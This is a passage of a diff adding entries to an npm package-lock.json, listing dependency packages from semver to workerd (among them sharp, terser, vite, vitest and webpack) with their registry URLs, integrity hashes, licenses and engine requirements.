"resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
3784
+
"integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
3785
+
"dev": true,
3786
+
"license": "ISC",
3787
+
"bin": {
3788
+
"semver": "bin/semver.js"
3789
+
}
3790
+
},
3791
+
"node_modules/serialize-javascript": {
3792
+
"version": "6.0.2",
3793
+
"resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz",
3794
+
"integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==",
3795
+
"license": "BSD-3-Clause",
3796
+
"peer": true,
3797
+
"dependencies": {
3798
+
"randombytes": "^2.1.0"
3799
+
}
3800
+
},
3801
+
"node_modules/sharp": {
3802
+
"version": "0.33.5",
3803
+
"resolved": "https://registry.npmjs.org/sharp/-/sharp-0.33.5.tgz",
3804
+
"integrity": "sha512-haPVm1EkS9pgvHrQ/F3Xy+hgcuMV0Wm9vfIBSiwZ05k+xgb0PkBQpGsAA/oWdDobNaZTH5ppvHtzCFbnSEwHVw==",
3805
+
"dev": true,
3806
+
"hasInstallScript": true,
3807
+
"license": "Apache-2.0",
3808
+
"dependencies": {
3809
+
"color": "^4.2.3",
3810
+
"detect-libc": "^2.0.3",
3811
+
"semver": "^7.6.3"
3812
+
},
3813
+
"engines": {
3814
+
"node": "^18.17.0 || ^20.3.0 || >=21.0.0"
3815
+
},
3816
+
"funding": {
3817
+
"url": "https://opencollective.com/libvips"
3818
+
},
3819
+
"optionalDependencies": {
3820
+
"@img/sharp-darwin-arm64": "0.33.5",
3821
+
"@img/sharp-darwin-x64": "0.33.5",
3822
+
"@img/sharp-libvips-darwin-arm64": "1.0.4",
3823
+
"@img/sharp-libvips-darwin-x64": "1.0.4",
3824
+
"@img/sharp-libvips-linux-arm": "1.0.5",
3825
+
"@img/sharp-libvips-linux-arm64": "1.0.4",
3826
+
"@img/sharp-libvips-linux-s390x": "1.0.4",
3827
+
"@img/sharp-libvips-linux-x64": "1.0.4",
3828
+
"@img/sharp-libvips-linuxmusl-arm64": "1.0.4",
3829
+
"@img/sharp-libvips-linuxmusl-x64": "1.0.4",
3830
+
"@img/sharp-linux-arm": "0.33.5",
3831
+
"@img/sharp-linux-arm64": "0.33.5",
3832
+
"@img/sharp-linux-s390x": "0.33.5",
3833
+
"@img/sharp-linux-x64": "0.33.5",
3834
+
"@img/sharp-linuxmusl-arm64": "0.33.5",
3835
+
"@img/sharp-linuxmusl-x64": "0.33.5",
3836
+
"@img/sharp-wasm32": "0.33.5",
3837
+
"@img/sharp-win32-ia32": "0.33.5",
3838
+
"@img/sharp-win32-x64": "0.33.5"
3839
+
}
3840
+
},
3841
+
"node_modules/sharp/node_modules/semver": {
3842
+
"version": "7.7.3",
3843
+
"resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz",
3844
+
"integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==",
3845
+
"dev": true,
3846
+
"license": "ISC",
3847
+
"bin": {
3848
+
"semver": "bin/semver.js"
3849
+
},
3850
+
"engines": {
3851
+
"node": ">=10"
3852
+
}
3853
+
},
3854
+
"node_modules/siginfo": {
3855
+
"version": "2.0.0",
3856
+
"resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz",
3857
+
"integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==",
3858
+
"dev": true,
3859
+
"license": "ISC"
3860
+
},
3861
+
"node_modules/simple-swizzle": {
3862
+
"version": "0.2.4",
3863
+
"resolved": "https://registry.npmjs.org/simple-swizzle/-/simple-swizzle-0.2.4.tgz",
3864
+
"integrity": "sha512-nAu1WFPQSMNr2Zn9PGSZK9AGn4t/y97lEm+MXTtUDwfP0ksAIX4nO+6ruD9Jwut4C49SB1Ws+fbXsm/yScWOHw==",
3865
+
"dev": true,
3866
+
"license": "MIT",
3867
+
"dependencies": {
3868
+
"is-arrayish": "^0.3.1"
3869
+
}
3870
+
},
3871
+
"node_modules/sirv": {
3872
+
"version": "3.0.2",
3873
+
"resolved": "https://registry.npmjs.org/sirv/-/sirv-3.0.2.tgz",
3874
+
"integrity": "sha512-2wcC/oGxHis/BoHkkPwldgiPSYcpZK3JU28WoMVv55yHJgcZ8rlXvuG9iZggz+sU1d4bRgIGASwyWqjxu3FM0g==",
3875
+
"dev": true,
3876
+
"license": "MIT",
3877
+
"dependencies": {
3878
+
"@polka/url": "^1.0.0-next.24",
3879
+
"mrmime": "^2.0.0",
3880
+
"totalist": "^3.0.0"
3881
+
},
3882
+
"engines": {
3883
+
"node": ">=18"
3884
+
}
3885
+
},
3886
+
"node_modules/source-map": {
3887
+
"version": "0.6.1",
3888
+
"resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
3889
+
"integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
3890
+
"license": "BSD-3-Clause",
3891
+
"peer": true,
3892
+
"engines": {
3893
+
"node": ">=0.10.0"
3894
+
}
3895
+
},
3896
+
"node_modules/source-map-js": {
3897
+
"version": "1.2.1",
3898
+
"resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
3899
+
"integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==",
3900
+
"dev": true,
3901
+
"license": "BSD-3-Clause",
3902
+
"engines": {
3903
+
"node": ">=0.10.0"
3904
+
}
3905
+
},
3906
+
"node_modules/source-map-support": {
3907
+
"version": "0.5.21",
3908
+
"resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz",
3909
+
"integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==",
3910
+
"license": "MIT",
3911
+
"peer": true,
3912
+
"dependencies": {
3913
+
"buffer-from": "^1.0.0",
3914
+
"source-map": "^0.6.0"
3915
+
}
3916
+
},
3917
+
"node_modules/stackback": {
3918
+
"version": "0.0.2",
3919
+
"resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz",
3920
+
"integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==",
3921
+
"dev": true,
3922
+
"license": "MIT"
3923
+
},
3924
+
"node_modules/std-env": {
3925
+
"version": "3.10.0",
3926
+
"resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz",
3927
+
"integrity": "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==",
3928
+
"dev": true,
3929
+
"license": "MIT"
3930
+
},
3931
+
"node_modules/stoppable": {
3932
+
"version": "1.1.0",
3933
+
"resolved": "https://registry.npmjs.org/stoppable/-/stoppable-1.1.0.tgz",
3934
+
"integrity": "sha512-KXDYZ9dszj6bzvnEMRYvxgeTHU74QBFL54XKtP3nyMuJ81CFYtABZ3bAzL2EdFUaEwJOBOgENyFj3R7oTzDyyw==",
3935
+
"dev": true,
3936
+
"license": "MIT",
3937
+
"engines": {
3938
+
"node": ">=4",
3939
+
"npm": ">=6"
3940
+
}
3941
+
},
3942
+
"node_modules/style-mod": {
3943
+
"version": "4.1.3",
3944
+
"resolved": "https://registry.npmjs.org/style-mod/-/style-mod-4.1.3.tgz",
3945
+
"integrity": "sha512-i/n8VsZydrugj3Iuzll8+x/00GH2vnYsk1eomD8QiRrSAeW6ItbCQDtfXCeJHd0iwiNagqjQkvpvREEPtW3IoQ==",
3946
+
"license": "MIT"
3947
+
},
3948
+
"node_modules/supports-color": {
3949
+
"version": "8.1.1",
3950
+
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
3951
+
"integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
3952
+
"license": "MIT",
3953
+
"peer": true,
3954
+
"dependencies": {
3955
+
"has-flag": "^4.0.0"
3956
+
},
3957
+
"engines": {
3958
+
"node": ">=10"
3959
+
},
3960
+
"funding": {
3961
+
"url": "https://github.com/chalk/supports-color?sponsor=1"
3962
+
}
3963
+
},
3964
+
"node_modules/tapable": {
3965
+
"version": "2.3.0",
3966
+
"resolved": "https://registry.npmjs.org/tapable/-/tapable-2.3.0.tgz",
3967
+
"integrity": "sha512-g9ljZiwki/LfxmQADO3dEY1CbpmXT5Hm2fJ+QaGKwSXUylMybePR7/67YW7jOrrvjEgL1Fmz5kzyAjWVWLlucg==",
3968
+
"license": "MIT",
3969
+
"peer": true,
3970
+
"engines": {
3971
+
"node": ">=6"
3972
+
},
3973
+
"funding": {
3974
+
"type": "opencollective",
3975
+
"url": "https://opencollective.com/webpack"
3976
+
}
3977
+
},
3978
+
"node_modules/terser": {
3979
+
"version": "5.44.1",
3980
+
"resolved": "https://registry.npmjs.org/terser/-/terser-5.44.1.tgz",
3981
+
"integrity": "sha512-t/R3R/n0MSwnnazuPpPNVO60LX0SKL45pyl9YlvxIdkH0Of7D5qM2EVe+yASRIlY5pZ73nclYJfNANGWPwFDZw==",
3982
+
"license": "BSD-2-Clause",
3983
+
"peer": true,
3984
+
"dependencies": {
3985
+
"@jridgewell/source-map": "^0.3.3",
3986
+
"acorn": "^8.15.0",
3987
+
"commander": "^2.20.0",
3988
+
"source-map-support": "~0.5.20"
3989
+
},
3990
+
"bin": {
3991
+
"terser": "bin/terser"
3992
+
},
3993
+
"engines": {
3994
+
"node": ">=10"
3995
+
}
3996
+
},
3997
+
"node_modules/terser-webpack-plugin": {
3998
+
"version": "5.3.16",
3999
+
"resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.16.tgz",
4000
+
"integrity": "sha512-h9oBFCWrq78NyWWVcSwZarJkZ01c2AyGrzs1crmHZO3QUg9D61Wu4NPjBy69n7JqylFF5y+CsUZYmYEIZ3mR+Q==",
4001
+
"license": "MIT",
4002
+
"peer": true,
4003
+
"dependencies": {
4004
+
"@jridgewell/trace-mapping": "^0.3.25",
4005
+
"jest-worker": "^27.4.5",
4006
+
"schema-utils": "^4.3.0",
4007
+
"serialize-javascript": "^6.0.2",
4008
+
"terser": "^5.31.1"
4009
+
},
4010
+
"engines": {
4011
+
"node": ">= 10.13.0"
4012
+
},
4013
+
"funding": {
4014
+
"type": "opencollective",
4015
+
"url": "https://opencollective.com/webpack"
4016
+
},
4017
+
"peerDependencies": {
4018
+
"webpack": "^5.1.0"
4019
+
},
4020
+
"peerDependenciesMeta": {
4021
+
"@swc/core": {
4022
+
"optional": true
4023
+
},
4024
+
"esbuild": {
4025
+
"optional": true
4026
+
},
4027
+
"uglify-js": {
4028
+
"optional": true
4029
+
}
4030
+
}
4031
+
},
4032
+
"node_modules/text-encoding": {
4033
+
"version": "0.7.0",
4034
+
"resolved": "https://registry.npmjs.org/text-encoding/-/text-encoding-0.7.0.tgz",
4035
+
"integrity": "sha512-oJQ3f1hrOnbRLOcwKz0Liq2IcrvDeZRHXhd9RgLrsT+DjWY/nty1Hi7v3dtkaEYbPYe0mUoOfzRrMwfXXwgPUA==",
4036
+
"deprecated": "no longer maintained",
4037
+
"license": "(Unlicense OR Apache-2.0)"
4038
+
},
4039
+
"node_modules/tinybench": {
4040
+
"version": "2.9.0",
4041
+
"resolved": "https://registry.npmjs.org/tinybench/-/tinybench-2.9.0.tgz",
4042
+
"integrity": "sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==",
4043
+
"dev": true,
4044
+
"license": "MIT"
4045
+
},
4046
+
"node_modules/tinyexec": {
4047
+
"version": "1.0.2",
4048
+
"resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.0.2.tgz",
4049
+
"integrity": "sha512-W/KYk+NFhkmsYpuHq5JykngiOCnxeVL8v8dFnqxSD8qEEdRfXk1SDM6JzNqcERbcGYj9tMrDQBYV9cjgnunFIg==",
4050
+
"dev": true,
4051
+
"license": "MIT",
4052
+
"engines": {
4053
+
"node": ">=18"
4054
+
}
4055
+
},
4056
+
"node_modules/tinyglobby": {
4057
+
"version": "0.2.15",
4058
+
"resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz",
4059
+
"integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==",
4060
+
"dev": true,
4061
+
"license": "MIT",
4062
+
"dependencies": {
4063
+
"fdir": "^6.5.0",
4064
+
"picomatch": "^4.0.3"
4065
+
},
4066
+
"engines": {
4067
+
"node": ">=12.0.0"
4068
+
},
4069
+
"funding": {
4070
+
"url": "https://github.com/sponsors/SuperchupuDev"
4071
+
}
4072
+
},
4073
+
"node_modules/tinyglobby/node_modules/fdir": {
4074
+
"version": "6.5.0",
4075
+
"resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
4076
+
"integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==",
4077
+
"dev": true,
4078
+
"license": "MIT",
4079
+
"engines": {
4080
+
"node": ">=12.0.0"
4081
+
},
4082
+
"peerDependencies": {
4083
+
"picomatch": "^3 || ^4"
4084
+
},
4085
+
"peerDependenciesMeta": {
4086
+
"picomatch": {
4087
+
"optional": true
4088
+
}
4089
+
}
4090
+
},
4091
+
"node_modules/tinyrainbow": {
4092
+
"version": "3.0.3",
4093
+
"resolved": "https://registry.npmjs.org/tinyrainbow/-/tinyrainbow-3.0.3.tgz",
4094
+
"integrity": "sha512-PSkbLUoxOFRzJYjjxHJt9xro7D+iilgMX/C9lawzVuYiIdcihh9DXmVibBe8lmcFrRi/VzlPjBxbN7rH24q8/Q==",
4095
+
"dev": true,
4096
+
"license": "MIT",
4097
+
"engines": {
4098
+
"node": ">=14.0.0"
4099
+
}
4100
+
},
4101
+
"node_modules/totalist": {
4102
+
"version": "3.0.1",
4103
+
"resolved": "https://registry.npmjs.org/totalist/-/totalist-3.0.1.tgz",
4104
+
"integrity": "sha512-sf4i37nQ2LBx4m3wB74y+ubopq6W/dIzXg0FDGjsYnZHVa1Da8FH853wlL2gtUhg+xJXjfk3kUZS3BRoQeoQBQ==",
4105
+
"dev": true,
4106
+
"license": "MIT",
4107
+
"engines": {
4108
+
"node": ">=6"
4109
+
}
4110
+
},
4111
+
"node_modules/tslib": {
4112
+
"version": "2.8.1",
4113
+
"resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
4114
+
"integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
4115
+
"dev": true,
4116
+
"license": "0BSD",
4117
+
"optional": true
4118
+
},
4119
+
"node_modules/undici": {
4120
+
"version": "7.14.0",
4121
+
"resolved": "https://registry.npmjs.org/undici/-/undici-7.14.0.tgz",
4122
+
"integrity": "sha512-Vqs8HTzjpQXZeXdpsfChQTlafcMQaaIwnGwLam1wudSSjlJeQ3bw1j+TLPePgrCnCpUXx7Ba5Pdpf5OBih62NQ==",
4123
+
"dev": true,
4124
+
"license": "MIT",
4125
+
"engines": {
4126
+
"node": ">=20.18.1"
4127
+
}
4128
+
},
4129
+
"node_modules/undici-types": {
4130
+
"version": "7.16.0",
4131
+
"resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.16.0.tgz",
4132
+
"integrity": "sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==",
4133
+
"license": "MIT",
4134
+
"peer": true
4135
+
},
4136
+
"node_modules/unenv": {
4137
+
"version": "2.0.0-rc.24",
4138
+
"resolved": "https://registry.npmjs.org/unenv/-/unenv-2.0.0-rc.24.tgz",
4139
+
"integrity": "sha512-i7qRCmY42zmCwnYlh9H2SvLEypEFGye5iRmEMKjcGi7zk9UquigRjFtTLz0TYqr0ZGLZhaMHl/foy1bZR+Cwlw==",
4140
+
"dev": true,
4141
+
"license": "MIT",
4142
+
"dependencies": {
4143
+
"pathe": "^2.0.3"
4144
+
}
4145
+
},
4146
+
"node_modules/update-browserslist-db": {
4147
+
"version": "1.2.2",
4148
+
"resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.2.2.tgz",
4149
+
"integrity": "sha512-E85pfNzMQ9jpKkA7+TJAi4TJN+tBCuWh5rUcS/sv6cFi+1q9LYDwDI5dpUL0u/73EElyQ8d3TEaeW4sPedBqYA==",
4150
+
"funding": [
4151
+
{
4152
+
"type": "opencollective",
4153
+
"url": "https://opencollective.com/browserslist"
4154
+
},
4155
+
{
4156
+
"type": "tidelift",
4157
+
"url": "https://tidelift.com/funding/github/npm/browserslist"
4158
+
},
4159
+
{
4160
+
"type": "github",
4161
+
"url": "https://github.com/sponsors/ai"
4162
+
}
4163
+
],
4164
+
"license": "MIT",
4165
+
"dependencies": {
4166
+
"escalade": "^3.2.0",
4167
+
"picocolors": "^1.1.1"
4168
+
},
4169
+
"bin": {
4170
+
"update-browserslist-db": "cli.js"
4171
+
},
4172
+
"peerDependencies": {
4173
+
"browserslist": ">= 4.21.0"
4174
+
}
4175
+
},
4176
+
"node_modules/vite": {
4177
+
"version": "7.3.0",
4178
+
"resolved": "https://registry.npmjs.org/vite/-/vite-7.3.0.tgz",
4179
+
"integrity": "sha512-dZwN5L1VlUBewiP6H9s2+B3e3Jg96D0vzN+Ry73sOefebhYr9f94wwkMNN/9ouoU8pV1BqA1d1zGk8928cx0rg==",
4180
+
"dev": true,
4181
+
"license": "MIT",
4182
+
"dependencies": {
4183
+
"esbuild": "^0.27.0",
4184
+
"fdir": "^6.5.0",
4185
+
"picomatch": "^4.0.3",
4186
+
"postcss": "^8.5.6",
4187
+
"rollup": "^4.43.0",
4188
+
"tinyglobby": "^0.2.15"
4189
+
},
4190
+
"bin": {
4191
+
"vite": "bin/vite.js"
4192
+
},
4193
+
"engines": {
4194
+
"node": "^20.19.0 || >=22.12.0"
4195
+
},
4196
+
"funding": {
4197
+
"url": "https://github.com/vitejs/vite?sponsor=1"
4198
+
},
4199
+
"optionalDependencies": {
4200
+
"fsevents": "~2.3.3"
4201
+
},
4202
+
"peerDependencies": {
4203
+
"@types/node": "^20.19.0 || >=22.12.0",
4204
+
"jiti": ">=1.21.0",
4205
+
"less": "^4.0.0",
4206
+
"lightningcss": "^1.21.0",
4207
+
"sass": "^1.70.0",
4208
+
"sass-embedded": "^1.70.0",
4209
+
"stylus": ">=0.54.8",
4210
+
"sugarss": "^5.0.0",
4211
+
"terser": "^5.16.0",
4212
+
"tsx": "^4.8.1",
4213
+
"yaml": "^2.4.2"
4214
+
},
4215
+
"peerDependenciesMeta": {
4216
+
"@types/node": {
4217
+
"optional": true
4218
+
},
4219
+
"jiti": {
4220
+
"optional": true
4221
+
},
4222
+
"less": {
4223
+
"optional": true
4224
+
},
4225
+
"lightningcss": {
4226
+
"optional": true
4227
+
},
4228
+
"sass": {
4229
+
"optional": true
4230
+
},
4231
+
"sass-embedded": {
4232
+
"optional": true
4233
+
},
4234
+
"stylus": {
4235
+
"optional": true
4236
+
},
4237
+
"sugarss": {
4238
+
"optional": true
4239
+
},
4240
+
"terser": {
4241
+
"optional": true
4242
+
},
4243
+
"tsx": {
4244
+
"optional": true
4245
+
},
4246
+
"yaml": {
4247
+
"optional": true
4248
+
}
4249
+
}
4250
+
},
4251
+
"node_modules/vite/node_modules/fdir": {
4252
+
"version": "6.5.0",
4253
+
"resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
4254
+
"integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==",
4255
+
"dev": true,
4256
+
"license": "MIT",
4257
+
"engines": {
4258
+
"node": ">=12.0.0"
4259
+
},
4260
+
"peerDependencies": {
4261
+
"picomatch": "^3 || ^4"
4262
+
},
4263
+
"peerDependenciesMeta": {
4264
+
"picomatch": {
4265
+
"optional": true
4266
+
}
4267
+
}
4268
+
},
4269
+
"node_modules/vite/node_modules/fsevents": {
4270
+
"version": "2.3.3",
4271
+
"resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
4272
+
"integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",
4273
+
"dev": true,
4274
+
"hasInstallScript": true,
4275
+
"license": "MIT",
4276
+
"optional": true,
4277
+
"os": [
4278
+
"darwin"
4279
+
],
4280
+
"engines": {
4281
+
"node": "^8.16.0 || ^10.6.0 || >=11.0.0"
4282
+
}
4283
+
},
4284
+
"node_modules/vitest": {
4285
+
"version": "4.0.15",
4286
+
"resolved": "https://registry.npmjs.org/vitest/-/vitest-4.0.15.tgz",
4287
+
"integrity": "sha512-n1RxDp8UJm6N0IbJLQo+yzLZ2sQCDyl1o0LeugbPWf8+8Fttp29GghsQBjYJVmWq3gBFfe9Hs1spR44vovn2wA==",
4288
+
"dev": true,
4289
+
"license": "MIT",
4290
+
"dependencies": {
4291
+
"@vitest/expect": "4.0.15",
4292
+
"@vitest/mocker": "4.0.15",
4293
+
"@vitest/pretty-format": "4.0.15",
4294
+
"@vitest/runner": "4.0.15",
4295
+
"@vitest/snapshot": "4.0.15",
4296
+
"@vitest/spy": "4.0.15",
4297
+
"@vitest/utils": "4.0.15",
4298
+
"es-module-lexer": "^1.7.0",
4299
+
"expect-type": "^1.2.2",
4300
+
"magic-string": "^0.30.21",
4301
+
"obug": "^2.1.1",
4302
+
"pathe": "^2.0.3",
4303
+
"picomatch": "^4.0.3",
4304
+
"std-env": "^3.10.0",
4305
+
"tinybench": "^2.9.0",
4306
+
"tinyexec": "^1.0.2",
4307
+
"tinyglobby": "^0.2.15",
4308
+
"tinyrainbow": "^3.0.3",
4309
+
"vite": "^6.0.0 || ^7.0.0",
4310
+
"why-is-node-running": "^2.3.0"
4311
+
},
4312
+
"bin": {
4313
+
"vitest": "vitest.mjs"
4314
+
},
4315
+
"engines": {
4316
+
"node": "^20.0.0 || ^22.0.0 || >=24.0.0"
4317
+
},
4318
+
"funding": {
4319
+
"url": "https://opencollective.com/vitest"
4320
+
},
4321
+
"peerDependencies": {
4322
+
"@edge-runtime/vm": "*",
4323
+
"@opentelemetry/api": "^1.9.0",
4324
+
"@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0",
4325
+
"@vitest/browser-playwright": "4.0.15",
4326
+
"@vitest/browser-preview": "4.0.15",
4327
+
"@vitest/browser-webdriverio": "4.0.15",
4328
+
"@vitest/ui": "4.0.15",
4329
+
"happy-dom": "*",
4330
+
"jsdom": "*"
4331
+
},
4332
+
"peerDependenciesMeta": {
4333
+
"@edge-runtime/vm": {
4334
+
"optional": true
4335
+
},
4336
+
"@opentelemetry/api": {
4337
+
"optional": true
4338
+
},
4339
+
"@types/node": {
4340
+
"optional": true
4341
+
},
4342
+
"@vitest/browser-playwright": {
4343
+
"optional": true
4344
+
},
4345
+
"@vitest/browser-preview": {
4346
+
"optional": true
4347
+
},
4348
+
"@vitest/browser-webdriverio": {
4349
+
"optional": true
4350
+
},
4351
+
"@vitest/ui": {
4352
+
"optional": true
4353
+
},
4354
+
"happy-dom": {
4355
+
"optional": true
4356
+
},
4357
+
"jsdom": {
4358
+
"optional": true
4359
+
}
4360
+
}
4361
+
},
4362
+
"node_modules/w3c-keyname": {
4363
+
"version": "2.2.8",
4364
+
"resolved": "https://registry.npmjs.org/w3c-keyname/-/w3c-keyname-2.2.8.tgz",
4365
+
"integrity": "sha512-dpojBhNsCNN7T82Tm7k26A6G9ML3NkhDsnw9n/eoxSRlVBB4CEtIQ/KTCLI2Fwf3ataSXRhYFkQi3SlnFwPvPQ==",
4366
+
"license": "MIT"
4367
+
},
4368
+
"node_modules/watchpack": {
4369
+
"version": "2.4.4",
4370
+
"resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.4.tgz",
4371
+
"integrity": "sha512-c5EGNOiyxxV5qmTtAB7rbiXxi1ooX1pQKMLX/MIabJjRA0SJBQOjKF+KSVfHkr9U1cADPon0mRiVe/riyaiDUA==",
4372
+
"license": "MIT",
4373
+
"peer": true,
4374
+
"dependencies": {
4375
+
"glob-to-regexp": "^0.4.1",
4376
+
"graceful-fs": "^4.1.2"
4377
+
},
4378
+
"engines": {
4379
+
"node": ">=10.13.0"
4380
+
}
4381
+
},
4382
+
"node_modules/web-streams-polyfill": {
4383
+
"version": "4.2.0",
4384
+
"resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-4.2.0.tgz",
4385
+
"integrity": "sha512-0rYDzGOh9EZpig92umN5g5D/9A1Kff7k0/mzPSSCY8jEQeYkgRMoY7LhbXtUCWzLCMX0TUE9aoHkjFNB7D9pfA==",
4386
+
"license": "MIT",
4387
+
"workspaces": [
4388
+
"test/benchmark-test",
4389
+
"test/rollup-test",
4390
+
"test/webpack-test"
4391
+
],
4392
+
"engines": {
4393
+
"node": ">= 8"
4394
+
}
4395
+
},
4396
+
"node_modules/webpack": {
4397
+
"version": "5.103.0",
4398
+
"resolved": "https://registry.npmjs.org/webpack/-/webpack-5.103.0.tgz",
4399
+
"integrity": "sha512-HU1JOuV1OavsZ+mfigY0j8d1TgQgbZ6M+J75zDkpEAwYeXjWSqrGJtgnPblJjd/mAyTNQ7ygw0MiKOn6etz8yw==",
4400
+
"license": "MIT",
4401
+
"peer": true,
4402
+
"dependencies": {
4403
+
"@types/eslint-scope": "^3.7.7",
4404
+
"@types/estree": "^1.0.8",
4405
+
"@types/json-schema": "^7.0.15",
4406
+
"@webassemblyjs/ast": "^1.14.1",
4407
+
"@webassemblyjs/wasm-edit": "^1.14.1",
4408
+
"@webassemblyjs/wasm-parser": "^1.14.1",
4409
+
"acorn": "^8.15.0",
4410
+
"acorn-import-phases": "^1.0.3",
4411
+
"browserslist": "^4.26.3",
4412
+
"chrome-trace-event": "^1.0.2",
4413
+
"enhanced-resolve": "^5.17.3",
4414
+
"es-module-lexer": "^1.2.1",
4415
+
"eslint-scope": "5.1.1",
4416
+
"events": "^3.2.0",
4417
+
"glob-to-regexp": "^0.4.1",
4418
+
"graceful-fs": "^4.2.11",
4419
+
"json-parse-even-better-errors": "^2.3.1",
4420
+
"loader-runner": "^4.3.1",
4421
+
"mime-types": "^2.1.27",
4422
+
"neo-async": "^2.6.2",
4423
+
"schema-utils": "^4.3.3",
4424
+
"tapable": "^2.3.0",
4425
+
"terser-webpack-plugin": "^5.3.11",
4426
+
"watchpack": "^2.4.4",
4427
+
"webpack-sources": "^3.3.3"
4428
+
},
4429
+
"bin": {
4430
+
"webpack": "bin/webpack.js"
4431
+
},
4432
+
"engines": {
4433
+
"node": ">=10.13.0"
4434
+
},
4435
+
"funding": {
4436
+
"type": "opencollective",
4437
+
"url": "https://opencollective.com/webpack"
4438
+
},
4439
+
"peerDependenciesMeta": {
4440
+
"webpack-cli": {
4441
+
"optional": true
4442
+
}
4443
+
}
4444
+
},
4445
+
"node_modules/webpack-sources": {
4446
+
"version": "3.3.3",
4447
+
"resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.3.3.tgz",
4448
+
"integrity": "sha512-yd1RBzSGanHkitROoPFd6qsrxt+oFhg/129YzheDGqeustzX0vTZJZsSsQjVQC4yzBQ56K55XU8gaNCtIzOnTg==",
4449
+
"license": "MIT",
4450
+
"engines": {
4451
+
"node": ">=10.13.0"
4452
+
}
4453
+
},
4454
+
"node_modules/why-is-node-running": {
4455
+
"version": "2.3.0",
4456
+
"resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz",
4457
+
"integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==",
4458
+
"dev": true,
4459
+
"license": "MIT",
4460
+
"dependencies": {
4461
+
"siginfo": "^2.0.0",
4462
+
"stackback": "0.0.2"
4463
+
},
4464
+
"bin": {
4465
+
"why-is-node-running": "cli.js"
4466
+
},
4467
+
"engines": {
4468
+
"node": ">=8"
4469
+
}
4470
+
},
4471
+
"node_modules/workerd": {
4472
+
"version": "1.20251210.0",
4473
+
"resolved": "https://registry.npmjs.org/workerd/-/workerd-1.20251210.0.tgz",
4474
+
